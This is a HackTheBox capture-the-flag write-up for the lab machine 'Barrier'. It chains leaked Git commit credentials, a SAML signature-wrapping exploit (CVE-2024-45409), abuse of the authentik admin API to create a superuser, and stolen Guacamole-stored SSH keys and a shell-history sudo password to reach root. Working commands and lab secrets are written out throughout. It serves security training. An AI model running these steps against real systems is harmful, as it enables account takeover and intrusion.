HackTheBox: Barrier Writeup

Summary
Barrier is a Linux machine built around a GitLab CE instance federated to an authentik SSO provider, with Apache Guacamole sitting behind the same SSO. Initial access starts with a low-privilege GitLab user, whose password is leaked in a project's commit history. That same SAML flow is then attacked with CVE-2024-45409, a Ruby-SAML signature wrapping vulnerability, allowing a forged SAML assertion to authenticate to GitLab as the built-in admin (akadmin) without knowing its credentials. Pivoting into authentik itself (the actual identity provider) via a leaked API token escalates further: an authentik admin API call is abused to create a fully privileged superuser account directly. From there, impersonating an existing low-privilege user grants a Guacamole RDP/SSH session, exposing stored SSH private keys for two Linux accounts in the Guacamole database. One key lands a foothold as maki; a leftover unlinked .bash_history then reveals a password reused for sudo su, leading to root.
Recon
nmap -sC -sV -A <MACHINE-IP> -oA nmap
Open ports:
| Port | Service |
|---|---|
| 22 | OpenSSH 8.9p1 (Ubuntu) |
| 80/443 | nginx, redirects to gitlab.barrier.vl (GitLab CE, SAML SSO enabled) |
| 8080 | Apache Tomcat 9.0.58 — hosting /guacamole/ |
| 9000 | authentik (Golang net/http backend) |
Adding barrier.vl and gitlab.barrier.vl to /etc/hosts resolves the redirect properly.
Tomcat's default page exposes links to /manager/html and /host-manager/html, both returning 401 Unauthorized — no usable default credentials found there; this was a dead end.
Foothold: Leaked Credentials in GitLab Commit History
GitLab self-registration is gated behind admin approval, so a fresh signup is immediately blocked ("pending approval"). Clicking Explore (unauthenticated) reveals a public project: satoru/gitconnect.
Reviewing its commit history shows two commits to gitconnect.py. The older commit introduces a script that authenticates to the GitLab API using hardcoded credentials:
auth_data = {
'grant_type': 'password',
'username': 'satoru',
'password': 'dGJ2V72SUEMsM3Ca'
}
The newer commit redacts the password to *** - but the plaintext value remains visible in the diff history. Logging into GitLab as satoru with this password succeeds.
SSO Reconnaissance and CVE-2024-45409
GitLab's login page offers a "Single Sign On" button, backed by authentik (port 9000). Authenticating to authentik as satoru (same password, confirming reuse) exposes two SSO-linked applications: Gitlab and Guacamole.
Intercepting the SSO callback in Burp shows the SAML POST hitting /users/auth/saml/callback with a SAMLResponse parameter, accompanied by a browser warning about submitting data over an insecure (HTTP) channel — a strong signal that the SAML flow itself is exposed and worth attacking. Decoding the SAMLResponse (URL-decode → Base64-decode → raw inflate) gives the underlying signed XML, including the assertion's NameID (satoru) and authentik's self-signed signing certificate.
This GitLab instance runs version 17.3.2, which sits in the affected range for CVE-2024-45409 — a flaw in the Ruby-SAML library (used by GitLab) that fails to properly validate the SAML signature scope. As long as an attacker has one validly-signed SAML document from the IdP, they can construct a forged assertion (signature wrapping) claiming to be any user, including a GitLab admin — provided that admin's username is known.
To confirm a target username exists before forging anything, a personal access token is generated from the satoru account: click the profile picture → Edit profile → Access Tokens → Add new token → give it a name, set an expiration date, select all available scopes, then click Create personal access token. The token is then used to enumerate GitLab's user list via the API:
curl -sk -H "Authorization: Bearer glpat-rCzMYKcGsnd4yAcKh5dw" \
https://gitlab.barrier.vl/api/v4/users?per_page=100 | jq
[
{
"id": 2,
"username": "satoru",
"name": "satoru",
"state": "active",
"web_url": "https://gitlab.barrier.vl/satoru"
},
{
"id": 1,
"username": "akadmin",
"name": "akadmin",
"state": "active",
"web_url": "https://gitlab.barrier.vl/akadmin"
}
]
This confirms an active account akadmin (user ID 1 - typically GitLab's default built-in admin) exists on the instance, making it the clear target for the forged assertion.
Using the Synacktiv PoC:
python3 cve-2024-45409.py -r saml.xml -n akadmin -e -o evil.xml
The captured legitimate SAML response is saved as saml.xml, and the tool patches it to assert identity as akadmin. Intercepting a fresh SSO login attempt in Burp and replacing the SAMLResponse body with the (Base64/URL-encoded) contents of evil.xml authenticates the session as akadmin - a full GitLab administrator - without ever knowing its real password.
Escalating via the Authentik API
As GitLab admin, the CI/CD → Variables admin settings page reveals a leftover AUTHENTIK_TOKEN CI/CD variable - a credential leaked into GitLab's configuration that actually authenticates against authentik's own API, not GitLab's.
Verifying the token against authentik using its documented API (referenced at api.goauthentik.io), specifically the admin version endpoint - checking it first without a token to confirm it requires auth, then with the token:
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/admin/version/" \
-H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
{
"version_current": "2024.10.5",
"version_latest": "0.0.0",
"version_latest_valid": false,
"build_hash": "",
"outdated": false,
"outpost_outdated": false
}
This confirms a valid, privileged authentik API token (authentik 2024.10.5). The same token is also used to confirm what applications authentik is fronting:
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/applications/" \
-H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
This returns two configured SAML applications - Gitlab and Guacamole - confirming both services are federated through this same authentik instance and both are now in scope.
From here, the authentik REST API is abused directly to create a superuser account:
Enumerate users:
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \ -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jqThis reveals accounts
akadmin,satoru, andmaki.Create a new user, attempting to set
is_superuser: truedirectly in the request body:curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \ -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \ --data-raw '{"username": "evil", "name": "evil", "is_superuser": true}' | jq{ "pk": 36, "username": "evil", "name": "evil", "is_active": true, "is_superuser": false, ... }The API silently ignores
is_superuseron creation (the response showsfalseregardless of what was sent), so privilege has to be granted a different way.Set a password for the new user via the admin-only endpoint:
curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/users/36/set_password/" \ -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \ -d '{"password": "pass123"}'Returns
HTTP/1.1 204 No Content- password accepted.Enumerate groups:
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/" \ -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" | jqThis finds the built-in
authentik Adminsgroup, with"is_superuser": trueandakadminas its only current member.Add the new user to that group:
curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/" \ -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \ -d '{"pk": 36}'Returns
HTTP/1.1 204 No Content- user added to the superuser group.
Logging into authentik as evil / pass123 now grants the full Admin interface, confirming superuser access to the identity provider itself — the most privileged point in the entire SSO chain.
Pivoting via Guacamole Impersonation
From the authentik admin panel (Identity → Users), every user can be impersonated with one click. Impersonating maki and launching the Guacamole application from the application library opens an active Guacamole connection named Maintenance, landing directly in an SSH session as maki on the underlying host:
id
uid=1001(maki) gid=1001(maki) groups=1001(maki)
The user flag is recovered at /home/maki/user.txt.
To get a stable shell, maki's own SSH key pair in ~/.ssh/ (already trusted via authorized_keys) is copied off and used directly. A plain SSH attempt fails first: the connection is rejected with an error stating the client and server couldn't agree on a host key type, with the server only offering ssh-rsa. This happens because modern OpenSSH clients disable the older ssh-rsa host key algorithm by default (it relies on SHA-1), while this older Ubuntu host's SSH daemon still only presents an ssh-rsa host key. Re-enabling that algorithm just for this connection with -oHostKeyAlgorithms=+ssh-rsa resolves the mismatch and lets the handshake complete:
ssh -oHostKeyAlgorithms=+ssh-rsa -i id_ed25519 maki@barrier.vl
Database Pivot: Guacamole-Stored Credentials
Locating Guacamole's configuration on the host:
find / -type d -name 'guacamole' 2>/dev/null
cat /etc/guacamole/guacamole.properties
This reveals plaintext MySQL credentials for Guacamole's backing database (guac_user / guac2024). Connecting to it:
mysql -h 127.0.0.1 -u guac_user -pguac2024 guac_db
Querying the database directly for stored connection data:
show tables;
+---------------------------------------+
| Tables_in_guac_db |
+---------------------------------------+
| guacamole_connection |
| guacamole_connection_attribute |
| guacamole_connection_group |
| ... |
| guacamole_connection_parameter |
| guacamole_user |
| ... |
+---------------------------------------+
23 rows in set
select * from guacamole_connection;
+---------------+-----------------+-----------+----------+
| connection_id | connection_name | parent_id | protocol |
+---------------+-----------------+-----------+----------+
| 1 | Maintenance | NULL | ssh |
| 2 | Maki_Adm | NULL | ssh |
+---------------+-----------------+-----------+----------+
2 rows in set
This confirms two stored SSH connections: Maintenance (the one already used as maki) and Maki_Adm. Pulling the actual stored credentials for each:
select * from guacamole_connection_parameter where connection_id=1 \G
*************************** 1. row ***************************
connection_id: 1
parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
connection_id: 1
parameter_name: port
parameter_value: 22
*************************** 3. row ***************************
connection_id: 1
parameter_name: private-key
parameter_value: -----BEGIN OPENSSH PRIVATE KEY-----
<snip>
-----END OPENSSH PRIVATE KEY-----
*************************** 4. row ***************************
connection_id: 1
parameter_name: username
parameter_value: maki
4 rows in set
select * from guacamole_connection_parameter where connection_id=2 \G
*************************** 1. row ***************************
connection_id: 2
parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
connection_id: 2
parameter_name: passphrase
parameter_value: 3V32FN6oViMPxyzC
*************************** 3. row ***************************
connection_id: 2
parameter_name: port
parameter_value: 22
*************************** 4. row ***************************
connection_id: 2
parameter_name: private-key
parameter_value: -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F
<snip>
-----END RSA PRIVATE KEY-----
*************************** 5. row ***************************
connection_id: 2
parameter_name: username
parameter_value: maki_adm
5 rows in set
Connection 2 yields a full encrypted RSA private key, its decryption passphrase (3V32FN6oViMPxyzC), and the target username maki_adm - all stored in cleartext in the database.
Using this key (the same -oHostKeyAlgorithms=+ssh-rsa workaround is needed again, for the same reason as above):
ssh -oHostKeyAlgorithms=+ssh-rsa -i maki_adm_key maki_adm@barrier.vl
lands a shell as maki_adm (group admin).
Privilege Escalation to Root
sudo -l requires a password and initial attempts fail. However, maki_adm's .bash_history - unlike maki's (which is symlinked to /dev/null) - is a real, readable file:
cat .bash_history
sudo su
Va4kSjgTHSd55ZLv
The recovered password works directly for sudo su:
sudo su
whoami
root
cat /root/root.txt
Flags
User flag (maki):
HTB{REDACTED}Root flag:
HTB{REDACTED}
Attack Chain
Recon reveals GitLab CE (80/443), Apache Tomcat (8080, hosting Guacamole), and authentik SSO (9000)
GitLab self-registration is blocked pending admin approval — set aside as a dead end
Explore GitLab unauthenticated → find public project
satoru/gitconnect→ recover plaintext password from an earlier commit despite a later "redaction" commitLog into GitLab and authentik as
satoru(password reuse across both)Capture a legitimate SAML response from the GitLab↔authentik SSO flow via Burp
Generate a personal access token as
satoruand enumerate GitLab users via the API, confirming an activeakadminadmin accountExploit CVE-2024-45409 (Ruby-SAML signature wrapping) to forge a SAML assertion claiming identity
akadmin→ authenticate to GitLab as admin without its passwordAs GitLab admin, find a leaked
AUTHENTIK_TOKENin CI/CD variables — a privileged authentik API tokenAbuse the authentik REST API: create a new user, set its password via the admin endpoint, then add it to the
authentik Adminsgroup → full authentik superuser accessFrom the authentik admin panel, impersonate existing user
makiand launch the Guacamole application → lands directly in an SSH session asmakion the host → user flagRecover Guacamole's MySQL credentials from
/etc/guacamole/guacamole.properties; query the database directly for stored connection credentials → recover an encrypted RSA key + passphrase formaki_admSSH in as
maki_admusing the recovered keyRead
maki_adm's un-symlinked.bash_history, recovering a plaintext password used forsudo su→ root
Key Vulnerabilities
| Vulnerability | Description |
|---|---|
| Secrets in version control | GitLab project commit history retained a plaintext password even after a later commit "redacted" it in the latest revision |
| CVE-2024-45409 (Ruby-SAML) | Improper SAML signature validation scope allows forging an assertion for any username (including admin) given one validly-signed sample document from the IdP |
| Insecure SSO transport | SAML callback submitted over plaintext HTTP, enabling trivial interception/replay of the assertion via a proxy |
| Leaked privileged API token | An AUTHENTIK_TOKEN with full authentik admin API access was stored as a GitLab CI/CD variable, reachable by any GitLab admin |
| Authentik API privilege escalation | Authentik's user/group management API allowed creating a user, then granting superuser group membership, entirely via API calls — no UI confirmation step |
| Plaintext credentials in Guacamole DB | Guacamole stores connection parameters (including private keys and passphrases) in its backing MySQL database in cleartext, retrievable with the Guacamole DB credentials found in guacamole.properties |
| Sensitive shell history left readable | maki_adm's .bash_history (unlike other accounts') was a real file rather than symlinked to /dev/null, and contained a plaintext sudo password |




